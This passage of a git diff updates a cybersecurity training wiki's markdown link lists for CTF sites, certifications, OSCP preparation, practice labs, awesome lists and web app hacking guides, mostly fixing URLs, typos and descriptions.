fun NSA CTF. -* [TryHackMe | 25 Days of Cyber](https://tryhackme.com/christmas) - Holiday themed ctf-a-thon -* [Metasploit community CTF](https://blog.rapid7.com/2020/11/19/announcing-the-2020-december-metasploit-community-ctf/) +* [TryHackMe | 25 Days of Cyber](https://tryhackme.com/christmas) - Seasonal holiday CTF. +* [Metasploit community CTF 2020](https://blog.rapid7.com/2020/11/19/announcing-the-2020-december-metasploit-community-ctf/) - Historical event announcement. * [Holiday Hack Challenge](https://kringlecon.com/) - SANS Christmas themed hack challenges. Super fun. * [SANS Netwars](https://www.sans.org/cyber-ranges/netwars-tournaments/cyber-defense/) - SANS CTF that happens along with each of their in person courses. There is an offensive and defensive version. -* [https://metactf.com/](https://metactf.com/) - Great platform for hosting your ow CTFs. They also will host public ones regularly. +* [MetaCTF](https://metactf.com/) - Platform for hosting your own CTFs and joining public events. ## CTF Sites -* [Hack The Box](https://www.hackthebox.eu/) - Virtual machines that you can connect to in a secure VPN. Pwn it boot to root. +* [Hack The Box](https://www.hackthebox.com/) - Virtual machines and challenges that you can access through a VPN. * [CyberSecLabs](https://www.cyberseclabs.co.uk/profile) - Great platform with free and premium CTF challenges. Some are set up as labs with helpful video walk-throughs * [https://pwnable.kr/](https://pwnable.kr/) - 'pwnable.kr' is a non-commercial [wargame site](https://en.wikipedia.org/wiki/Wargame\_\(hacking\)) which provides various pwn challenges regarding system exploitation. * [Embedded Security CTF](https://microcorruption.com/login) - Grab a debugger and solve fun CTF challenges focused around the code of embedded devices. * [Underthewire](https://underthewire.tech/) - Powershell focused CTF challenges -* [Commandline Challenge](https://cmdchallenge.com/) - CTF Style puzzles focusing on your SLI skills +* [Commandline Challenge](https://cmdchallenge.com/) - CTF-style puzzles focused on CLI skills. * [Root-Me](https://www.root-me.org/?lang=en\&no\_js=oui) - Complete and create cyber CTF challenges with tons of learning resources. * [www.try2hack.nl](http://www.try2hack.nl/) - Classic iterative cyber puzzle * [hackthissite.org/](https://www.hackthissite.org/) - HackThisSite.org is a free, safe and legal training ground for hackers to test and expand their ethical hacking skills with challenges, CTFs, and more. @@ -69,9 +69,9 @@ Capture The Flag competitions and challenges are the fun part of being a hacker. * [Pentester Academy](https://www.pentesteracademy.com/) - High quality learning courses and CTF style labs * [PentesterLab:](https://www.pentesterlab.com/) Learn practical penetration testing techniques with hands on CTF style labs * [Virtual Hacking Labs](https://www.virtualhackinglabs.com/) - Full offensive course with multiple real world vulnerability labs to practice your skills -* [HackTheBox learning Academy](https://academy.hackthebox.eu/dashboard) - A new offering from our favorite CTF platform, HTB now has training modules for teaching different elements of penetration testing. -* [Immersive Labs](https://immersivelabs.online/) - My personal favorite platform with hundreds of different challanges both offensive and defense. -* [CTFlearn](https://ctflearn.com/) - Great community and beginner set of CTF challanges to dip your toe in the water. +* [Hack The Box Academy](https://academy.hackthebox.com/) - Training modules for penetration testing and defensive skills. +* [Immersive Labs](https://immersivelabs.online/) - Platform with offensive and defensive challenges. +* [CTFlearn](https://ctflearn.com/) - Beginner-friendly CTF challenge community. ## CTF Writeups diff --git a/training/cyber-security-certifications/README.md b/training/cyber-security-certifications/README.md index f73421d..1d627b1 100644 --- a/training/cyber-security-certifications/README.md +++ b/training/cyber-security-certifications/README.md @@ -22,7 +22,7 @@ * [https://securityblue.team](https://securityblue.team) * [https://elearnsecurity.com/](https://elearnsecurity.com/) * [https://www.offensive-security.com/courses-and-certifications/](https://www.offensive-security.com/courses-and-certifications/) -* [https://docs.microsoft.com/en-us/learn/certifications/](https://docs.microsoft.com/en-us/learn/certifications/) +* [https://learn.microsoft.com/en-us/credentials/](https://learn.microsoft.com/en-us/credentials/) * [https://aws.amazon.com/certification/](https://aws.amazon.com/certification/) ## General Skills Certifications @@ -69,8 +69,8 @@ ## Cloud -* [CompTIA Cloud +](https://www.comptia.org/certifications/cloud) - Learn the basics skils to deploy, optimize, and protect mission critical applications and data storage. The next step beyond this should be to focus on certs for the cloud platform of your choice. - * [Exam Objectives](https://partners.comptia.org/docs/default-source/resources/comptia-cloud-cv0-003-exam-objectives-\(1-0\))[https://www.comptia.org/certifications/cloud](https://www.comptia.org/certifications/cloud) +* [CompTIA Cloud +](https://www.comptia.org/certifications/cloud) - Learn the basic skills to deploy, optimize, and protect mission-critical applications and data storage. The next step beyond this should be to focus on certs for the cloud platform of your choice. + * [Exam Objectives](https://partners.comptia.org/docs/default-source/resources/comptia-cloud-cv0-003-exam-objectives-\(1-0\)) * [ISC2 CCSP](https://www.isc2.org/Certifications/CCSP) - Advanced Cloud Security certification focusing on technical skills and knowledge to design, manage and secure data, applications and infrastructure in the cloud using best practices, policies and procedures. * [GIAC Cloud Security Essentials (GCLD)](https://www.giac.org/certifications/cloud-security-essentials-gcld/) - The GCLD certification validates a practitioner's ability to implement preventive, detective, and reactionary techniques to defend valuable cloud-based workloads. * [GIAC Cloud Security Automation (GCSA)](https://www.giac.org/certifications/cloud-security-automation-gcsa/) - The GCSA certification covers cloud services and modern DevSecOps practices that are used to build and deploy systems and applications more securely. @@ -98,7 +98,7 @@ * [GIAC Security Operations Certified (GSOC)](https://www.giac.org/certifications/security-operations-certified-gsoc/) - The GSOC certification validates a practitioner’s ability to defend an enterprise using essential blue team incident response tools and techniques. * [GIAC Continuous Monitoring Certification (GMON)](https://www.giac.org/certifications/continuous-monitoring-certification-gmon/) - The GIAC Continuous Monitoring (GMON) certification validates a practitioner's ability to deter intrusions and quickly detect anomalous activity. GMON certification holders have demonstrated knowledge of defensible security architecture, network security monitoring, continuous diagnostics and mitigation, and continuous security monitoring. * [Blue Team Level 1](https://securityblue.team/why-btl1/) - New to the certification scene, Security Blue Team has created a certification aimed at new or aspiring infosec professionals. This certification course will teach: Analysing and responding to phishing attacks, Performing forensics investigations to collect and analyse digital evidence, Using a SIEM platform to investigate malicious activity, Log and network traffic analysis including malware infections, Conducting threat actor research, and much more! - * [Course Syllabus](https://securityblue.team/btl2/) + * [Course Syllabus](https://securityblue.team/why-btl1/) * [Blue Team Level 2](https://securityblue.team/btl2/) - BLT2 is the next step for security training from the Security Blue Team. This certification course will teach how to: Identify, analyze, prioritize, and remediate vulnerabilities to effectively reduce risk, Conduct static and dynamic malware analysis to gather indicators of compromise and document details of the malware’s purpose and utilized techniques, Writing SIEM detection rules and tuning them to ensure they’re as efficient as possible by conducting adversary emulation activities, and Perform threat hunts to detect adversaries that have already breached the perimeter. * [Course Syllabus](https://securityblue.team/download/60210/) * [Offensive Security Defense Analyst: OSDA](https://www.offensive-security.com/soc200-osda/) - Learn the foundations of cybersecurity defense with Offensive Security’s new Security Operations and Defensive Analysis (SOC-200) course designed for job roles such as Security Operations Center (SOC) Junior Analysts and Threat Hunters. @@ -115,7 +115,7 @@ ### DFIR: Digital Forensics and Incident Response * [EC Council Certified Hacking Forensics Investigator (CHFI)](https://www.eccouncil.org/programs/computer-hacking-forensic-investigator-chfi/) - CHFI provides its attendees with a firm grasp of digital forensics, presenting a detailed and methodological approach to digital forensics and evidence analysis that also pivots around Dark Web, IoT, and Cloud Forensics. The tools and techniques covered in this program will prepare the learner for conducting digital investigations using ground-breaking digital forensics technologies. -* [EC Council Certifid Incident Handler (CIH)](https://www.eccouncil.org/programs/ec-council-certified-incident-handler-ecih/) - A comprehensive specialist-level program that imparts knowledge and skills that organizations need to effectively handle post breach consequences by reducing the impact of the incident, from both a financial and a reputational perspective. +* [EC Council Certified Incident Handler (ECIH)](https://www.eccouncil.org/programs/ec-council-certified-incident-handler-ecih/) - A comprehensive specialist-level program that imparts knowledge and skills that organizations need to effectively handle post-breach consequences by reducing the impact of the incident, from both a financial and a reputational perspective. * [GIAC Certified Incident Handler (GCIH)](https://www.giac.org/certifications/certified-incident-handler-gcih/) - The GIAC Incident Handler certification validates a practitioner's ability to detect, respond, and resolve computer security incidents using a wide range of essential security skills. GCIH certification holders have the knowledge needed to manage security incidents by understanding common attack techniques, vectors and tools, as well as defend against and respond to such attacks when they occur. * [GIAC Certified Forensic Examiner (GCFE)](https://www.giac.org/certifications/certified-forensic-examiner-gcfe/) - The GIAC Certified Forensic Examiner (GCFE) certification validates a practitioner’s knowledge of computer forensic analysis, with an emphasis on core skills required to collect and analyze data from Windows computer systems. GCFE certification holders have the knowledge, skills, and ability to conduct typical incident investigations including e-Discovery, forensic analysis and reporting, evidence acquisition, browser forensics and tracing user and application activities on Windows systems. * [GIAC Battlefield Forensics and Acquisition (GBFA)](https://www.giac.org/certifications/battlefield-forensics-acquisition-gbfa/) - The GBFA certification demonstrates that an individual is trained and qualified in the proper collection, acquisition, and rapid triage analysis of many forms of data storage. @@ -149,8 +149,8 @@ * [EC Council Certified Penetration Testing Professional (CPENT)](https://www.eccouncil.org/programs/certified-penetration-testing-professional-cpent/) - This program teaches you how to perform an effective penetration test in an enterprise network environment that must be attacked, exploited, evaded, and defended. The heart of the CPENT program is all about helping you master your pen testing skills by putting them to use on our live cyber ranges. * [EC Council Licensed Penetration Tester (LPT) ](https://www.eccouncil.org/programs/licensed-penetration-tester-lpt-master/)- The course is designed to show advanced concepts like advanced windows attacks, attacking IoT systems, and writing exploits with advanced binary exploitation to go beyond flat networks. You will learn to bypass a filtered network, pentest OT systems, access hidden networks with pivoting, double pivot, escalate privilege, and evade defense mechanisms. * [GIAC Penetration Tester (GPEN)](https://www.giac.org/certifications/penetration-tester-gpen/) - The GIAC Penetration Tester certification validates a practitioner's ability to properly conduct a penetration test, using best practice techniques and methodologies. GPEN certification holders have the knowledge and skills to conduct exploits and engage in detailed reconnaissance, as well as utilize a process-oriented approach to penetration testing projects. -* [GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn/)[ - ](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn)The GIAC Exploit Researcher and Advanced Penetration Tester certification validates a practitioner's ability to find and mitigate significant security flaws in systems and networks. GXPN certification holders have the skills to conduct advanced penetration tests and model the behavior of attackers to improve system security, and the knowledge to demonstrate the business risk associated with these behaviors. -* [Offensive Security Certified Professinal (OSCP](https://www.offensive-security.com/pwk-oscp/)) +* [GIAC Exploit Researcher and Advanced Penetration Tester (GXPN)](https://www.giac.org/certifications/exploit-researcher-advanced-penetration-tester-gxpn/) - The GIAC Exploit Researcher and Advanced Penetration Tester certification validates a practitioner's ability to find and mitigate significant security flaws in systems and networks. GXPN certification holders have the skills to conduct advanced penetration tests and model attacker behavior to improve system security. +* [Offensive Security Certified Professional (OSCP)](https://www.offsec.com/courses/pen-200/) {% content-ref url="oscp.md" %} [oscp.md](oscp.md) diff --git a/training/cyber-security-certifications/oscp.md b/training/cyber-security-certifications/oscp.md index 02a73eb..816c4fe 100644 --- a/training/cyber-security-certifications/oscp.md +++ b/training/cyber-security-certifications/oscp.md @@ -4,17 +4,18 @@ description: Am I leet yet? # OSCP -The OSCP has become the big cert goal for all aspiring hackers. Beyond being filled with content, it is a practical exam, which means no multiple choice. You will be dropped into a network where you have to compromise 5 boxes, one of which will require a buffer overflow attack to compromise. The big kicker is that you cannot use any auto exploitation tools, and you can only use Metasploit once. +The OSCP has become a major certification goal for aspiring penetration testers. It is a practical exam, so always read the current OffSec exam guide before planning your prep: box counts, point values, bonus points, tooling restrictions, and buffer-overflow expectations have changed over time. ## **Official Documentation** As always, read the documentation. There are tons of helpful hints and suggestions in the official docs. It also clearly defines the rules of engagement for the exam. Do not use a tool that will invalidate your exam. They give you everything you need in the official course material, use it and stay within bounds. -* [https://www.offensive-security.com/offsec/oscp-exam-structure/](https://www.offensive-security.com/offsec/oscp-exam-structure/) -* [https://www.offensive-security.com/metasploit-unleashed/](https://www.offensive-security.com/metasploit-unleashed/) +* [https://www.offsec.com/courses/pen-200/](https://www.offsec.com/courses/pen-200/) +* [https://www.offsec.com/offsec/oscp-exam-structure/](https://www.offsec.com/offsec/oscp-exam-structure/) +* [https://www.offsec.com/metasploit-unleashed/](https://www.offsec.com/metasploit-unleashed/) * [https://help.offensive-security.com/hc/en-us](https://help.offensive-security.com/hc/en-us) * [https://help.offensive-security.com/hc/en-us/articles/360050473812](https://help.offensive-security.com/hc/en-us/articles/360050473812) -* [https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf](https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf) +* [https://www.offsec.com/documentation/penetration-testing-with-kali.pdf](https://www.offsec.com/documentation/penetration-testing-with-kali.pdf) * [https://forums.offensive-security.com/](https://forums.offensive-security.com/) ## **Tools and Resources** @@ -73,8 +74,7 @@ There are plenty of write ups and training classes out there for the OSCP but th These are boxes that are similar to those that you will find on the exam. They will be focusing around certain tasks like buffer overflow, or exploiting a certain service. Beware that some of them are retired HTB boxes that will require a subscription to get access to. * TJNull's List - [https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159](https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159) -* HackTheBox List -[https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857)[https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/](https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/) +* HackTheBox List - [spreadsheet](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857) + * [Hyd3 OSCP prep HTB list](https://hyd3.home.blog/2020/06/22/oscp-prep-hackthebox-list/) * NoobSec List - [https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857](https://docs.google.com/spreadsheets/d/1PVH3athOru-rHirsy30R1r8692R6J44W7uuHTrquqnk/edit#gid=1638926857) -* OSCP-like Boxes -[https://nopresearcher.github.io/OSCP-Like-Boxes/](https://nopresearcher.github.io/OSCP-Like-Boxes/) - -**** +* OSCP-like Boxes - [https://nopresearcher.github.io/OSCP-Like-Boxes/](https://nopresearcher.github.io/OSCP-Like-Boxes/) diff --git a/training/practice-lab.md b/training/practice-lab.md index 3e92ff4..959c04b 100644 --- a/training/practice-lab.md +++ b/training/practice-lab.md @@ -17,7 +17,7 @@ 3. [https://sethsec.blogspot.com/2017/05/pentest-home-lab-0x1-building-your-ad.html](https://sethsec.blogspot.com/2017/05/pentest-home-lab-0x1-building-your-ad.html) 4. [https://www.fatrodzianko.com/2019/08/05/creating-an-active-directory-lab-in-aws/](https://www.fatrodzianko.com/2019/08/05/creating-an-active-directory-lab-in-aws/) 5. [Conda's AD Lab Video](https://www.youtube.com/watch?v=Bm3mihQNGI4\&list=PLDrNMcTNhhYqZj7WZt2GfNhBDqBnhW6AT\&index=2) -6. [https://blog.spookysec.net//ad-lab-2/](https://blog.spookysec.net/ad-lab-2/) - Building your own AD Lab: Part 2 (2022) +6. [https://blog.spookysec.net/ad-lab-2/](https://blog.spookysec.net/ad-lab-2/) - Building your own AD Lab: Part 2 (2022) ## Blue Team Lab Tools @@ -33,7 +33,7 @@ * [PowerShellClassLab](https://github.com/jaredhaight/PowerShellClassLab) - This is a set of Azure Resource Manager Templates that generates an Active Directory lab consisting of a Domain Controller, two Windows servers and a Linux server. * [SysmonSimulator](https://github.com/ScarredMonk/SysmonSimulator) - Sysmon event simulation utility which can be used to simulate the attacks to generate the Sysmon Event logs for testing the EDR detections and correlation rules by Blue teams. * [https://www.microsoft.com/en-us/evalcenter/evaluate-lab-kit](https://www.microsoft.com/en-us/evalcenter/evaluate-lab-kit) - The Windows 10 and Office 365 Deployment Lab Kit is designed to help you plan, test, and validate modern desktops running Windows 10 Enterprise and Microsoft 365 Enterprise apps, managed by Enterprise Mobility + Security. The lab kit is free to download and uses evaluation software. - * [https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide](https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide) + * [https://learn.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide](https://learn.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide) ## Practice diff --git a/training/the-awesome-lists.md b/training/the-awesome-lists.md index c593177..f5091c8 100644 --- a/training/the-awesome-lists.md +++ b/training/the-awesome-lists.md @@ -1,11 +1,11 @@ # The Awesome Lists -The Awesome Lists are multiple collections various folks have made that try to condense some of the best resources for various cyber topics, all onto one list. These are great for finding out new tools to add to your arsenal, or techniques to add to your repertoire. You can use [awesome · GitHub Topics · GitHub](https://github.com/topics/awesome) and [Awesome Indexed - Searchable Awesome Lists](https://awesome-indexed.mathew-davies.co.uk/) to search for what ever content you want that might be found in the awesome lists. \ +The Awesome Lists are collections people have made to condense strong resources for specific topics into one list. They are great for discovering tools, techniques, and reading paths. You can use [awesome · GitHub Topics · GitHub](https://github.com/topics/awesome) and [Awesome Indexed - Searchable Awesome Lists](https://awesome-indexed.mathew-davies.co.uk/) to search across many of them. \ For those who love the command line, [https://github.com/chubin/cheat.sh](https://github.com/chubin/cheat.sh) is amazing for doing something similar, right in your bash shell. -\*Note\* The below list is NOT comprehensive. These are cherry picked for what has been found to be relevant for security practicioners. +*Note:* The list below is not comprehensive. These are cherry-picked for security practitioners. -General - These are general collections of security related resources that some awesome folks have gathered from across the internet. The first one by Sindresorhus has been come the basis for the above search tool. +General - These are broad collections of security-related resources. * [Awesome Search](https://awesomelists.top/) [GitHub - sindresorhus/awesome: 😎 Awesome lists about all kinds of interesting topics](https://github.com/sindresorhus/awesome) * [GitHub - bayandin/awesome-awesomeness: A curated list of awesome awesomeness](https://github.com/bayandin/awesome-awesomeness) @@ -75,15 +75,16 @@ Coding * [GitHub - secfigo/Awesome-Fuzzing: A curated list of fuzzing resources ( Books, courses - free and paid, videos, tools, tutorials and vulnerable applications to practice on ) for learning Fuzzing and initial phases of Exploit Development like root cause analysis.](https://github.com/secfigo/Awesome-Fuzzing) * [GitHub - vinta/awesome-python: A curated list of awesome Python frameworks, libraries, software and resources](https://github.com/vinta/awesome-python) * [GitHub - ziadoz/awesome-php: A curated list of amazingly awesome PHP libraries, resources and shiny things.](https://github.com/ziadoz/awesome-php) -* [GitHub - sorrycc/awesome-javascript: 🐢 A collection of awesome browser-side JavaScript libraries, resources and shiny things.](https://github.com/sorrycc/awesome-javascript#readme) -* [GitHub - matteocrippa/awesome-swift: A collaborative list of awesome Swift libraries and resources. Feel free to contribute!](https://github.com/matteocrippa/awesome-swift#readme) -* [GitHub - avelino/awesome-go: A curated list of awesome Go frameworks, libraries and software](https://github.com/avelino/awesome-go#readme) +* [GitHub - sorrycc/awesome-javascript: A collection of browser-side JavaScript libraries, resources, and shiny things.](https://github.com/sorrycc/awesome-javascript#readme) +* [GitHub - matteocrippa/awesome-swift: A collaborative list of Swift libraries and resources.](https://github.com/matteocrippa/awesome-swift#readme) +* [GitHub - avelino/awesome-go: A curated list of Go frameworks, libraries, and software](https://github.com/avelino/awesome-go#readme) * [GitHub - inputsh/awesome-c: Continuing the development of awesome-c list on GitHub](https://github.com/inputsh/awesome-c#readme) -* [GitHub - fffaraz/awesome-cpp: A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff.](https://github.com/fffaraz/awesome-cpp#readme) -* [GitHub - hachiojipm/awesome-perl: A curated list of awesome Perl frameworks and libraries. Come on Pull Requests!](https://github.com/hachiojipm/awesome-perl#readme) -* [GitHub - akullpp/awesome-java: A curated list of awesome frameworks, libraries and software for the Java programming language.](https://github.com/akullpp/awesome-java#readme) -* [GitHub - diegocard/awesome-html5: A curated list of awesome HTML5 resources](https://github.com/diegocard/awesome-html5#readme) -* [GitHub - awesome-css-group/awesome-css: A curated contents of amazing CSS :)](https://github.com/awesome-css-group/awesome-css#readme) [GitHub - InQuest/awesome-yara: A curated list of awesome YARA rules, tools, and people.](https://github.com/InQuest/awesome-yara) +* [GitHub - fffaraz/awesome-cpp: A curated list of C/C++ frameworks, libraries, resources, and shiny things.](https://github.com/fffaraz/awesome-cpp#readme) +* [GitHub - hachiojipm/awesome-perl: A curated list of Perl frameworks and libraries.](https://github.com/hachiojipm/awesome-perl#readme) +* [GitHub - akullpp/awesome-java: A curated list of Java frameworks, libraries, and software.](https://github.com/akullpp/awesome-java#readme) +* [GitHub - diegocard/awesome-html5: A curated list of HTML5 resources](https://github.com/diegocard/awesome-html5#readme) +* [GitHub - awesome-css-group/awesome-css: Curated CSS resources](https://github.com/awesome-css-group/awesome-css#readme) +* [GitHub - InQuest/awesome-yara: A curated list of YARA rules, tools, and people.](https://github.com/InQuest/awesome-yara) * [https://github.com/beucismis/awesome-fetch](https://github.com/beucismis/awesome-fetch) Malware and Malware Analysis @@ -91,7 +92,7 @@ Malware and Malware Analysis * [GitHub - fabacab/awesome-malware: A curated collection of awesome malware, botnets, and other post-exploitation tools.](https://github.com/fabacab/awesome-malware) * [GitHub - milabs/awesome-linux-rootkits: awesome-linux-rootkits](https://github.com/milabs/awesome-linux-rootkits) * [GitHub - cugu/awesome-forensics: A curated list of awesome forensic analysis tools and resources](https://github.com/Cugu/awesome-forensics) -* [GitHub - rshipp/awesome-malware-analysis: Defund the Police.](https://github.com/rshipp/awesome-malware-analysis) +* [GitHub - rshipp/awesome-malware-analysis: Defund the Police.](https://github.com/rshipp/awesome-malware-analysis) - Also listed in DFIR because malware analysis spans both areas. CTF diff --git a/web-app-hacking/README.md b/web-app-hacking/README.md index 03df5a7..531fd92 100644 --- a/web-app-hacking/README.md +++ b/web-app-hacking/README.md @@ -1,37 +1,44 @@ +--- +description: Web application hacking resources for OWASP testing, Burp Suite, bug bounty methodology, APIs, OAuth, SQL injection, XSS, WAFs, and web vulnerabilities. +--- + # Web App Hacking +Web App Hacking covers methodology, web technologies, web-specific tooling, and application vulnerabilities. Keep general host/port scanning in Red Recon, passive OSINT in Cyber Intelligence, and courses or vulnerable apps in Training. + ## **Web App Testing Resources** {% tabs %} {% tab title="Guides" %} -* [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - comprehensive guide to testing the security of web applications and web services created by the OWASP foundation. - * [https://owasp.org/www-project-top-ten/](https://owasp.org/www-project-top-ten/) - Guide to the top ten most common vulnerabilities encountered in web app pentesting. - * [OWASP Testing Guide 4.0](https://www.owasp.org/images/1/19/OTGv4.pdf) (PDF) - * [https://www.crest-approved.org/membership/crest-ovs-programme/](https://www.crest-approved.org/membership/crest-ovs-programme/) - CREST's New application secuyrity standard built with OWASP AVS. -* [Hacktricks Web Pentesting Guide](https://book.hacktricks.xyz/pentesting/pentesting-web) - Written by Carlos Pollop, the creator of [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) and [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). Everything this guy makes is gold. Highest of recommendations -* [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm) - Written by the Jason Haddix, this repo details his toolset and methodology for web app penetration testing. +* [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) - Comprehensive guide to testing the security of web applications and web services created by the OWASP foundation. + * [OWASP Top Ten](https://owasp.org/www-project-top-ten/) - Guide to the top ten most common vulnerabilities encountered in web app pentesting. + * [OWASP API Security Top 10](https://owasp.org/API_Security) - Focuses on the top ten vulnerabilities in API security. + * [OWASP Cryptographic Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html) - Guidance for protecting stored secrets and sensitive data. + * [OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html) - Guidance for access control and authorization design. + * [CREST OVS Programme](https://www.crest-approved.org/membership/crest-ovs-programme/) - CREST's new application security standard built with OWASP ASVS. +* [Hacktricks Web Pentesting Guide](https://book.hacktricks.xyz/pentesting/pentesting-web) - Written by Carlos Polop, the creator of [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) and [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). Highly recommended resource for creative techniques and tricks. +* [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm) - Written by Jason Haddix, this repo details his toolset and methodology for web app penetration testing. * [Jason's Presentation of TBHM 2.0](https://docs.google.com/presentation/d/1VpRT8dFyTaFpQa9jhehtmGaC7TqQniMSYbUdlHN6VrY/edit#slide=id.p) * [Updated info of TBHM 4.02](https://docs.google.com/presentation/d/1MWWXXRvvesWL8V-GiwGssvg4iDM58\_RMeI\_SZ65VXwQ/mobilepresent?slide=id.p) * [HowToHunt](https://kathan19.gitbook.io/howtohunt/) - Amazing collaborative project documenting testing methodology for different web application vulnerabilities. -* [https://kathan19.gitbook.io/howtohunt/checklist/web-application-pentesting-checklist](https://kathan19.gitbook.io/howtohunt/checklist/web-application-pentesting-checklist) -* [https://alike-lantern-72d.notion.site/Web-Application-Penetration-Testing-Checklist-4792d95add7d4ffd85dd50a5f50659c6](https://alike-lantern-72d.notion.site/Web-Application-Penetration-Testing-Checklist-4792d95add7d4ffd85dd50a5f50659c6) -* [https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Checklist\_by\_Chintan\_Gurjar.pdf](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Checklist\_by\_Chintan\_Gurjar.pdf) -* [https://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png) -* [https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Penetration\_Testing\_Methodology%402x.png](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Penetration\_Testing\_Methodology%402x.png) -* [https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md](https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md) +* [HowToHunt Checklist](https://kathan19.gitbook.io/howtohunt/checklist/web-application-pentesting-checklist) +* [Adarsh's Web Application Penetration Testing Checklist](https://alike-lantern-72d.notion.site/Web-Application-Penetration-Testing-Checklist-4792d95add7d4ffd85dd50a5f50659c6) +* [Web Checklist by Chintan Gurjar (PDF)](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Checklist\_by\_Chintan\_Gurjar.pdf) +* [Mindmap](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/mindmap.png) +* [Web Penetration Testing Methodology Diagram](https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web\_Penetration\_Testing\_Methodology%402x.png) +* [Web Pentest Study Plan](https://github.com/jassics/security-study-plan/blob/main/web-pentest-study-plan.md) {% endtab %} {% tab title="Resources" %} ### Resources -There is a bug bounty focused search engine at [https://www.bugbountyhunting.com/?](https://www.bugbountyhunting.com/?) that can point you in the direction of tools, attacks, methodology, writeups, anything you want. It is amazing. +There is a bug bounty focused search engine at [BugBountyHunting.com](https://www.bugbountyhunting.com/) that can point you in the direction of tools, attacks, methodology, writeups, and more. -* [bug-bounty-methodology-m **** ethodology-toolkit-tips-tricks-blogs-v-1-0](https://eforensicsmag.com/bug-bounty-methodology-methodology-toolkit-tips-tricks-blogs-v-1-0-by-sanyam-chawla/) -* [bug-bounty-methodology-ttp-tacticstechniques-and-procedures-v-2-0](https://eforensicsmag.com/bug-bounty-methodology-ttp-tacticstechniques-and-procedures-v-2-0/) -* [https://pentestbook.six2dez.com/others/web-checklist](https://pentestbook.six2dez.com/others/web-checklist) -* [https://pentestbook.six2dez.com/others/web-fuzzers-comparision](https://pentestbook.six2dez.com/others/web-fuzzers-comparision) -* [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Scope.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Scope.md) -* _Operator Handbook: Web\_Exploit - pg.318_ +* [Bug Bounty Methodology v1.0](https://eforensicsmag.com/bug-bounty-methodology-methodology-toolkit-tips-tricks-blogs-v-1-0-by-sanyam-chawla/) +* [Bug Bounty Methodology v2.0](https://eforensicsmag.com/bug-bounty-methodology-ttp-tacticstechniques-and-procedures-v-2-0/) +* [Web Fuzzers Comparison](https://pentestbook.six2dez.com/others/web-fuzzers-comparision) +* [Bug Bounty Recon - Scope](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Recon/Scope.md) +* _Operator Handbook: Web_Exploit - pg.318_ {% endtab %} {% tab title="Resource Collections" %} @@ -39,16 +46,18 @@ There is a bug bounty focused search engine at [https://www.bugbountyhunting.com * [Awesome Lists Collection: Web Security](https://github.com/qazbnm456/awesome-web-security) * [Awesome Lists Collection: Hacker API Tools](https://github.com/Hacker0x01/awesome-hacker-api-tools) * [Awesome Lists Collection: Application Security](https://github.com/paragonie/awesome-appsec) -* [InfoSec Reference: Web and Web Applications.](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Web.md) -* [InfoSec Reference: Fuzzing](https://github.com/rmusser01/Infosec\_Reference/blob/master/Draft/Fuzzing.md) +* [SecLists](https://github.com/danielmiessler/SecLists) - The security tester's companion. It's a collection of the multiple types of lists used during security assessments, collected in one place. +* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads and bypasses for Web Application Security and Pentest/CTF. +* [InfoSec Reference: Web and Web Applications](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Web.md) +* [InfoSec Reference: Fuzzing](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Fuzzing.md) * [Bug 